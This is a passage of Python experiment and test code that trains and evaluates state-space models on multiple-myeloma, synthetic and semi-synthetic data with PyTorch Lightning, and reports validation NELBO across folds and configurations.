ssm.hparams assert ssm.hparams['ttype'] == 'lin' valid_loader = ssm.val_dataloader() (nelbo, nll, kl, _), _ = ssm.forward(*valid_loader.dataset.tensors, anneal = 1.) print(nelbo) def run_ssm_ss(): seed_everything(0) model_configs = [ # samples, ttype, ds, C, reg_all, reg_type, lr # (1000, 'lin', 41, 0.007191, False, 'l2', .004308), # (1500, 'lin', 60, 0.0022656, True, 'l2', .0041245), # (2000, 'lin', 49, 0.0466374, True, 'l2', .0046789), # (1000, 'lin', 48, 0.01, False, 'l2', 1e-3), # (1500, 'lin', 48, 0.01, False, 'l2', 1e-3), # (2000, 'lin', 48, 0.01, False, 'l2', 1e-3), # (10000, 'lin', 22, 0.002625, False, 'l2', .0033782), (1000, 'lin', 48, 0.01, True, 'l2', 1e-3), (1500, 'gated', 48, 0.01, True, 'l2', 1e-3), (2000, 'gated', 48, 0.01, False, 'l2', 1e-3) # (10000, 'gated', 55, 0.001212, False, 'l1', .0037642) ] parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm_baseline', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=1000, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='mm', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='unsup') parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=1, type=int) parser.add_argument('--ss_missing', type=strtobool, default=True, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=True, help='whether to use mm training patients to generate validation/test set in semi synthetic data') parser.add_argument('--att_mask', type=strtobool, default=True, help='set to True for SSMAtt and FOMMAtt') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from FOMM and base trainer parser = SSMBaseline.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() # fi = open('./ssm_ss_results.txt', 'w') for k,model_config in enumerate(model_configs): nsamples_syn, ttype, dim_stochastic, C, reg_all, reg_type, lr = model_config args.max_epochs = 10000 args.nsamples_syn = nsamples_syn args.ttype = ttype args.dim_stochastic = dim_stochastic args.dim_hidden = 300 args.alpha1_type = 'linear' args.add_stochastic = False args.C = C; args.reg_all = reg_all; args.reg_type = reg_type args.lr = lr dict_args = vars(args) trial = optuna.trial.FixedTrial({'lr': args.lr, 'C': args.C, 'reg_all': args.reg_all, 'reg_type': args.reg_type, 'dim_stochastic': args.dim_stochastic}) # initialize FOMM w/ args and train model = SSMBaseline(trial, **dict_args) in_sample_dist = model.hparams.ss_in_sample_dist; add_missing = model.hparams.ss_missing print(f'[RUNNING] model config {k+1}: N = {args.nsamples_syn}, ttype = {args.ttype}, C = {args.C}, reg_all = {args.reg_all}, reg_type = {args.reg_type}, in_sample_dist = {in_sample_dist}, add_missing = {add_missing}') # fi.write(f'[RUNNING] model config {k+1}: N = {args.nsamples_syn}, ttype = {args.ttype}, C = {args.C}, reg_all = {args.reg_all}, reg_type = {args.reg_type}, in_sample_dist = {in_sample_dist}, add_missing = {add_missing}\n') trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=False, gpus=[2], check_val_every_n_epoch=10) trainer.fit(model) # evaluate on validation set; this should match what we were getting with the old codebase (after 100 epochs) if torch.cuda.is_available(): device = torch.device('cuda:2') else: device = torch.device('cpu') ddata = load_ss_data(model.hparams['nsamples_syn'], gen_fly=True, eval_mult=200, in_sample_dist=in_sample_dist, add_missing=add_missing) print(f'eval set size: {ddata["valid"][0]["X"].shape}') nelbos = [] for i in range(1,5): _, valid_loader = load_ss_helper(ddata, tvt='valid', bs=model.hparams['bs'], device=device, valid_fold=i) batch_nelbos = [] for i_batch, valid_batch_loader in enumerate(valid_loader): (nelbo, nll, kl, _), _ = model.forward(*valid_batch_loader, anneal = 1.) nelbo, nll, kl = nelbo.item(), nll.item(), kl.item() batch_nelbos.append(nelbo) # (nelbo, nll, kl, _), _ = model.forward(*valid_loader.dataset.tensors, anneal = 1.) nelbos.append(np.mean(batch_nelbos)) print(f'[COMPLETE] model config {k+1}: mean nelbo: {np.mean(nelbos)}, std nelbo: {np.std(nelbos)}') # fi.write(f'[COMPLETE] model config {k+1}: mean nelbo: {np.mean(nelbos)}, std nelbo: {np.std(nelbos)}\n\n') print() def run_ssm_ss2(): seed_everything(1) # model_configs = [ # (1000, 'moe', 48, 0.01, True, 'l2'), # 48.000, 0.010000, 1.0000, l2 # (1500, 'moe', 48, 0.01, True, 'l2'), # 48.000, 0.010000, 1.0000, l2 # (2000, 'moe', 48, 0.01, True, 'l2') # 48.000, 0.010000, 1.0000, l2 # ] model_configs = [ (1000, 'lin', 64, 0.01, True, 'l2'), # 48.000, 0.010000, 1.0000, l2 -86.93002059979317, std nelbo: 2.308720455440082 (1500, 'lin', 48, 0.01, True, 'l2'), # 48.000, 0.010000, 0.0000, l2 -90.58635519101071, std nelbo: 3.337732785962744 (2000, 'lin', 48, 0.01, True, 'l2'), # 48.000, 0.010000, 0.0000, l2 -80.53742721753244, std nelbo: 0.9132054166247399 (1000, 'gated', 48, 0.01, True, 'l2'), # 48.000, 0.010000, 1.0000, l2 -55.076445347223526, std nelbo: 4.1150217727133525 (1000, 'gated', 64, 0.01, True, 'l2'), # 48.000, 0.010000, 1.0000, l2 (1500, 'gated', 48, 0.01, True, 'l2'), # 48.000, 0.010000, 1.0000, l2 -93.4233535405917, std nelbo: 2.099412335001398 (2000, 'gated', 64, 0.01, True, 'l2'), # 48.000, 0.010000, 0.0000, l2 # (21000, 'gated', 48, 0.01, False, 'l2') # 48.000, 0.010000, 1.0000, l2 #-173.1242269819433, std nelbo: 0.53154754771723 ] parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=1000, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='semi_synthetic', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='unsup') parser.add_argument('--bs', default=1000, type=int, help='batch size') parser.add_argument('--fold', default=1, type=int) parser.add_argument('--ss_missing', type=strtobool, default=True, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=True, help='whether to use mm training patients to generate validation/test set in semi synthetic data') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from FOMM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() for k,model_config in enumerate(model_configs): nsamples_syn, ttype, dim_stochastic, C, reg_all, reg_type = model_config args.max_epochs = 10000 args.nsamples_syn = nsamples_syn args.ttype = ttype args.dim_stochastic = dim_stochastic args.dim_hidden = 300 args.alpha1_type = 'linear' args.add_stochastic = False args.C = C; args.reg_all = reg_all; args.reg_type = reg_type dict_args = vars(args) # initialize FOMM w/ args and train model = SSM(**dict_args) in_sample_dist = model.hparams.ss_in_sample_dist; add_missing = model.hparams.ss_missing print(f'[RUNNING] model config {k+1}: N = {args.nsamples_syn}, ttype = {args.ttype}, C = {args.C}, reg_all = {args.reg_all}, reg_type = {args.reg_type}, in_sample_dist = {in_sample_dist}, add_missing = {add_missing}') trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=False, gpus=[0], check_val_every_n_epoch=10) trainer.fit(model) # evaluate on validation set; this should match what we were getting with the old codebase (after 100 epochs) if torch.cuda.is_available(): device = torch.device('cuda:0') else: device = torch.device('cpu') ddata = load_ss_data(model.hparams['nsamples_syn'], gen_fly=True, eval_mult=200, in_sample_dist=in_sample_dist, add_missing=add_missing) print(f'eval set size: {ddata["valid"][0]["X"].shape}') nelbos = [] for i in range(1,5): _, valid_loader = load_ss_helper(ddata, tvt='valid', bs=model.hparams['bs'], device=device, valid_fold=i) batch_nelbos = [] for i_batch, valid_batch_loader in enumerate(valid_loader): (nelbo, nll, kl, _), _ = model.forward(*valid_batch_loader, anneal = 1.) nelbo, nll, kl = nelbo.item(), nll.item(), kl.item() batch_nelbos.append(nelbo) # (nelbo, nll, kl, _), _ = model.forward(*valid_loader.dataset.tensors, anneal = 1.) nelbos.append(np.mean(batch_nelbos)) print(f'[COMPLETE] model config {k+1}: mean nelbo: {np.mean(nelbos)}, std nelbo: {np.std(nelbos)}') print() def test_ssm_semi_synthetic(): seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='semisup') parser.add_argument('--nsamples_syn', default=100, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='semi_synthetic', type=str) parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=1, type=int) parser.add_argument('--ss_missing', type=strtobool, default=True, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=True, help='whether to use mm training patients to generate validation/test set in semi synthetic data') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 100 args.ttype = 'gated' args.alpha1_type = 'linear' args.add_stochastic = False args.C = 0.1; args.reg_all = True; args.reg_type = 'l1' # args.C = 0.01; args.reg_all = False; args.reg_type = 'l2' dict_args = vars(args) # initialize FOMM w/ args and train model = SSM(**dict_args) trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=False, gpus=[3]) trainer.fit(model) # evaluate on validation set; this should match what we were getting with the old codebase (after 100 epochs) if torch.cuda.is_available(): device = torch.device('cuda:3') else: device = torch.device('cpu') # ddata = load_ss_data(model.hparams['nsamples_syn'], gen_fly=True) ddata = model.ddata _, valid_loader = load_ss_helper(ddata, tvt='valid', bs=model.hparams['bs'], device=device) (nelbo, nll, kl, _), _ = model.forward(*valid_loader.dataset.tensors, anneal = 1.) print(f'nelbo: {nelbo}') assert (nelbo.item() - 306) < 3e-1 def test_ssm_linear_mm(): seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='unsup') parser.add_argument('--nsamples_syn', default=1000, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='mm', type=str) parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=1, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=False, help='whether to use mm training patients to generate validation/test set in semi synthetic data') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 100 args.ttype = 'gated' args.dim_stochastic = 48 args.dim_hidden = 300 dict_args = vars(args) # initialize FOMM w/ args and train model = SSM(**dict_args) trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=False, gpus=[1]) trainer.fit(model) # evaluate on validation set; this should match what we were getting with the old codebase (after 100 epochs) if torch.cuda.is_available(): device = torch.device('cuda:1') else: device = torch.device('cpu') _, valid_loader = model.load_helper('valid', device=device) (nelbo, nll, kl, _), _ = model.forward(*valid_loader.dataset.tensors, anneal = 1.) assert (nelbo.item() - 253.4) < 3e-1 def test_ssm_lin_mm(ttype='lin', fold=1, reg_all=False, C=0.01, reg_type='l1', ds=16, dh=300): print(f'[FOLD: {fold}, REG_ALL: {reg_all}]') seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=100, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='mm', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='unsup') parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=fold, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=False, help='whether to use mm training patients to generate validation/test set in semi synthetic data') parser.add_argument('--att_mask', type=strtobool, default=False, help='set to True for SSMAtt and FOMMAtt') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 15000 args.ttype = ttype args.alpha1_type = 'linear' args.add_stochastic = False # args.C = 0.1; args.reg_all = True; args.reg_type = 'l1' args.C = C; args.reg_all = reg_all; args.reg_type = reg_type # fold 0,1,2,4: .01, True, 'l1' (everything ) # fold 3: .01, False, 'l1' args.dim_stochastic = ds args.dim_hidden = dh dict_args = vars(args) # initialize FOMM w/ args and train trial = optuna.trial.FixedTrial({'bs': args.bs, 'lr': args.lr, 'C': args.C, 'reg_all': args.reg_all, 'reg_type': args.reg_type, 'dim_stochastic': args.dim_stochastic}) model = SSM(trial, **dict_args) checkpoint_callback = ModelCheckpoint(filepath='./checkpoints/mmfold' + str(fold) + '_ssm_' + ttype + '_{epoch:05d}-{val_loss:.2f}') trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=checkpoint_callback, gpus=[0]) trainer.fit(model) def test_ssm_nl_mm(ttype='nl', fold=1, reg_all=False, C=0.01, reg_type='l1', ds=16, dh=300): print(f'[FOLD: {fold}, REG_ALL: {reg_all}]') seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=100, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='mm', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='unsup') parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=fold, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=False, help='whether to use mm training patients to generate validation/test set in semi synthetic data') parser.add_argument('--att_mask', type=strtobool, default=False, help='set to True for SSMAtt and FOMMAtt') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 15000 args.ttype = ttype args.alpha1_type = 'linear' args.add_stochastic = False # args.C = 0.1; args.reg_all = True; args.reg_type = 'l1' args.C = C; args.reg_all = reg_all; args.reg_type = reg_type # fold 0,1,2,4: .01, True, 'l1' (everything ) # fold 3: .01, False, 'l1' args.dim_stochastic = ds args.dim_hidden = dh dict_args = vars(args) # initialize FOMM w/ args and train trial = optuna.trial.FixedTrial({'bs': args.bs, 'lr': args.lr, 'C': args.C, 'reg_all': args.reg_all, 'reg_type': args.reg_type, 'dim_stochastic': args.dim_stochastic}) model = SSM(trial, **dict_args) checkpoint_callback = ModelCheckpoint(filepath='./checkpoints/mmfold' + str(fold) + '_ssm_' + ttype + '_{epoch:05d}-{val_loss:.2f}') trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=checkpoint_callback, gpus=[1]) trainer.fit(model) def test_ssm_moe_mm(ttype='moe', fold=1, reg_all=False, C=0.01, reg_type='l1', ds=16, dh=300): print(f'[FOLD: {fold}, REG_ALL: {reg_all}]') seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=100, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='mm', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='unsup') parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=fold, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=False, help='whether to use mm training patients to generate validation/test set in semi synthetic data') parser.add_argument('--att_mask', type=strtobool, default=False, help='set to True for SSMAtt and FOMMAtt') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 15000 args.ttype = ttype args.alpha1_type = 'linear' args.add_stochastic = False # args.C = 0.1; args.reg_all = True; args.reg_type = 'l1' args.C = C; args.reg_all = reg_all; args.reg_type = reg_type # fold 0,1,2,4: .01, True, 'l1' (everything ) # fold 3: .01, False, 'l1' args.dim_stochastic = ds args.dim_hidden = dh dict_args = vars(args) # initialize FOMM w/ args and train trial = optuna.trial.FixedTrial({'bs': args.bs, 'lr': args.lr, 'C': args.C, 'reg_all': args.reg_all, 'reg_type': args.reg_type, 'dim_stochastic': args.dim_stochastic}) model = SSM(trial, **dict_args) checkpoint_callback = ModelCheckpoint(filepath='./checkpoints/mmfold' + str(fold) + '_ssm_' + ttype + '_{epoch:05d}-{val_loss:.2f}') trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=checkpoint_callback, gpus=[2]) trainer.fit(model) def test_ssm_gated_mm(fold=1, reg_all=True, C=0.01, reg_type='l2'): print(f'[FOLD: {fold}, REG_ALL: {reg_all}]') seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=100, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='mm', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='unsup') parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=fold, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=False, help='whether to use mm training patients to generate validation/test set in semi synthetic data') parser.add_argument('--att_mask', type=strtobool, default=False, help='set to True for SSMAtt and FOMMAtt') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 15000 args.ttype = 'attn_transition' args.alpha1_type = 'linear' args.add_stochastic = False # args.C = 0.1; args.reg_all = True; args.reg_type = 'l1' args.C = C; args.reg_all = reg_all; args.reg_type = reg_type # fold 0,1,2,4: .01, True, 'l1' (everything ) # fold 3: .01, False, 'l1' args.dim_stochastic = 48 dict_args = vars(args) # initialize FOMM w/ args and train trial = optuna.trial.FixedTrial({'bs': args.bs, 'lr': args.lr, 'C': args.C, 'reg_all': args.reg_all, 'reg_type': args.reg_type, 'dim_stochastic': args.dim_stochastic}) model = SSM(trial, **dict_args) checkpoint_callback = ModelCheckpoint(filepath='./checkpoints/mmfold' + str(fold) + 'ssm_ablation_noTELC_test{epoch:05d}-{val_loss:.2f}') trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=checkpoint_callback, gpus=[3]) trainer.fit(model) # evaluate on validation set; this should match what we were getting with the old codebase (after 100 epochs) # if torch.cuda.is_available(): # device = torch.device('cuda:3') # else: # device = torch.device('cpu') # _, valid_loader = model.load_helper('valid', device=device) # (nelbo, nll, kl, _), _ = model.forward(*valid_loader.dataset.tensors, anneal = 1.) # print(f'nelbo: {nelbo}') # assert (nelbo.item() - 230) < 3e-1 def test_ssm_linear_syn(): seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=100, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='synthetic', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='semisup') parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=1, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=False, help='whether to use mm training patients to generate validation/test set in semi synthetic data') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 100 dict_args = vars(args) # initialize FOMM w/ args and train model = SSM(**dict_args) trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=False, gpus=[3]) trainer.fit(model) # evaluate on validation set; this should match what we were getting with the old codebase (after 100 epochs) if torch.cuda.is_available(): device = torch.device('cuda:1') else: device = torch.device('cpu') _, valid_loader = model.load_helper('valid', device=device) (nelbo, nll, kl, _), _ = model.forward(*valid_loader.dataset.tensors, anneal = 1.) assert (nelbo.item() - 191) < 3e-1 def test_sota_mm_semi(): seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=100, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='mm', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='unsup') parser.add_argument('--bs', default=600, type=int, help='batch size') parser.add_argument('--fold', default=1, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=False, help='whether to use mm training patients to generate validation/test set in semi synthetic data') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 10000 args.ttype = 'gated' args.alpha1_type = 'linear' args.add_stochastic = False dict_args = vars(args) trial = optuna.trial.FixedTrial({'lr': args.lr, 'C': args.C, 'reg_all': args.reg_all, 'reg_type': args.reg_type, 'dim_stochastic': 48}) model = SSM(trial, **dict_args) import pdb; pdb.set_trace() trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, \ checkpoint_callback=False, gpus=[1], \ resume_from_checkpoint='/afs/csail.mit.edu/u/z/zeshanmh/research/ief/ief_core/tbp_logs/checkpoints/ssm_mm_sota_fold1_epoch=13743-val_loss=66.07.ckpt') # automatically restores model, epoch, step, LR schedulers, apex, etc... trainer.fit(model) if torch.cuda.is_available(): device = torch.device('cuda:1') else: device = torch.device('cpu') _, valid_loader = model.load_helper('valid', device=device) (nelbo, nll, kl, _), _ = model.forward(*valid_loader.dataset.tensors, anneal = 1.) print(f'nelbo: {nelbo}') def test_ssm_gated_syn(ttype='attn_transition', num_samples=1000): seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=1000, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='semi_synthetic', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='semisup') parser.add_argument('--bs', default=1500, type=int, help='batch size') parser.add_argument('--fold', default=1, type=int) parser.add_argument('--ss_missing', type=strtobool, default=False, help='whether to add missing data in semi synthetic setup or not') parser.add_argument('--ss_in_sample_dist', type=strtobool, default=True, help='whether to use mm training patients to generate validation/test set in semi synthetic data') parser.add_argument('--att_mask', type=strtobool, default=False, help='set to True for SSMAtt and FOMMAtt') # THIS LINE IS KEY TO PULL THE MODEL NAME temp_args, _ = parser.parse_known_args() # add rest of args from SSM and base trainer parser = SSM.add_model_specific_args(parser) parser = Trainer.add_argparse_args(parser) # parse args and convert to dict args = parser.parse_args() args.max_epochs = 1000 args.nsamples_syn = num_samples args.ttype = ttype args.alpha1_type = 'linear' args.add_stochastic = False dict_args = vars(args) args.C = 0.01; args.reg_all = True; args.reg_type = 'l2' # fold 0,1,2,4: .01, True, 'l1' (everything ) # fold 3: .01, False, 'l1' args.dim_stochastic = 128 # initialize FOMM w/ args and train trial = optuna.trial.FixedTrial({'bs': args.bs, 'lr': args.lr, 'C': args.C, 'reg_all': args.reg_all, 'reg_type': args.reg_type, 'dim_stochastic': args.dim_stochastic}) model = SSM(trial, **dict_args) checkpoint_callback = ModelCheckpoint(filepath='./checkpoints/ssm_semi_syn_' + ttype + '_' + str(args.nsamples_syn) + 'sample_complexity{epoch:05d}-{val_loss:.2f}') trainer = Trainer.from_argparse_args(args, deterministic=True, logger=False, checkpoint_callback=checkpoint_callback, gpus=[0]) trainer.fit(model) def test_ssm_lin_syn(ttype='lin'): seed_everything(0) parser = ArgumentParser() parser.add_argument('--model_name', type=str, default='ssm', help='fomm, ssm, or gru') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--anneal', type=float, default=1., help='annealing rate') parser.add_argument('--fname', type=str, help='name of save file') parser.add_argument('--imp_sampling', type=bool, default=False, help='importance sampling to estimate marginal likelihood') parser.add_argument('--nsamples', default=1, type=int) parser.add_argument('--nsamples_syn', default=100, type=int, help='number of training samples for synthetic data') parser.add_argument('--optimizer_name', type=str, default='adam') parser.add_argument('--dataset', default='synthetic', type=str) parser.add_argument('--eval_type', type=str, default='nelbo') parser.add_argument('--loss_type', type=str, default='unsup') parser.add_argument('--bs', default=600, type=int, help='batch size') 